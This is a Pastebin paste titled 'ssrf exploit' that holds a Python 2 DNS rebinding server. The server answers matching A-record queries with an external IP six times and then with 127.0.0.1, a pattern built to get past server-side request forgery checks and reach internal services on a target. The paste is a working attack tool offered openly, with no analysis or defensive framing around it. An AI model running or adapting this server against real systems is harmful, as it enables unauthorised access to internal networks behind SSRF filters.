Advertisement
Guest User

ssrf exploit

a guest
Apr 6th, 2020
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.81 KB | None | 0 0
  1. import socket
  2. from time import time
  3.  
  4. class DNSQuery:
  5.     def __init__(self, data):
  6.         self.data = data
  7.         self.domain = ''
  8.         self.qtype = 0
  9.  
  10.         opcode = (ord(data[2]) >> 3) & 15
  11.         if opcode == 0:
  12.             ini = 12
  13.             lon = ord(data[ini])
  14.             while lon != 0:
  15.                 self.domain += data[ini+1:ini+lon+1] + '.'
  16.                 ini += lon + 1
  17.                 lon = ord(data[ini])
  18.             self.qtype = ord(data[12+len(self.domain)+2])
  19.  
  20.     def reply(self, ip):
  21.         packet = ''
  22.         if self.domain:
  23.             packet += self.data[:2] + '\x81\x80'
  24.             packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
  25.             packet += self.data[12:12+len(self.domain)+5] # original question
  26.             packet += '\xc0\x0c'
  27.             packet += '\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04' # response type, ttl, resource data length (4 bytes)
  28.             packet += ''.join(chr(int(x)) for x in ip.split('.'))
  29.         return packet
  30.  
  31. if __name__ == '__main__':
  32.     udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  33.     udp.bind(('',53))
  34.     i = 1
  35.     try:
  36.         while 1:
  37.             data, addr = udp.recvfrom(1024)
  38.             p = DNSQuery(data)
  39.             # only IN A questions are supported
  40.             if p.domain and p.qtype == 1:
  41.                 d = p.domain.split('.')
  42.                 # basic validation
  43.                 if len(d) >= 4:
  44.                     if len(d[0].split('-')) == 4 and len(d[1].split('-')) == 4:
  45.                         #ip = d[int(time()) % 2].replace('-', '.')
  46.                         #print '%s' % (int(time()) % 2)
  47.                         if i == 1:
  48.                             ip = '185.224.137.101'
  49.                         if i == 2:
  50.                             ip = '185.224.137.101'
  51.                         if i == 3:
  52.                             ip = '185.224.137.101'
  53.                         if i == 4:
  54.                             ip = '185.224.137.101'
  55.                         if i == 5:
  56.                             ip = '185.224.137.101'
  57.                         if i == 6:
  58.                             ip = '185.224.137.101'
  59.                         if i == 7:
  60.                             ip = '127.0.0.1'
  61.                         #ip = '192.168.0.1'
  62.                         print '%s -> %s' % (p.domain, ip)
  63.                         i += 1
  64.                         udp.sendto(p.reply(ip), addr)
  65.                        
  66.     except KeyboardInterrupt:
  67.         udp.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement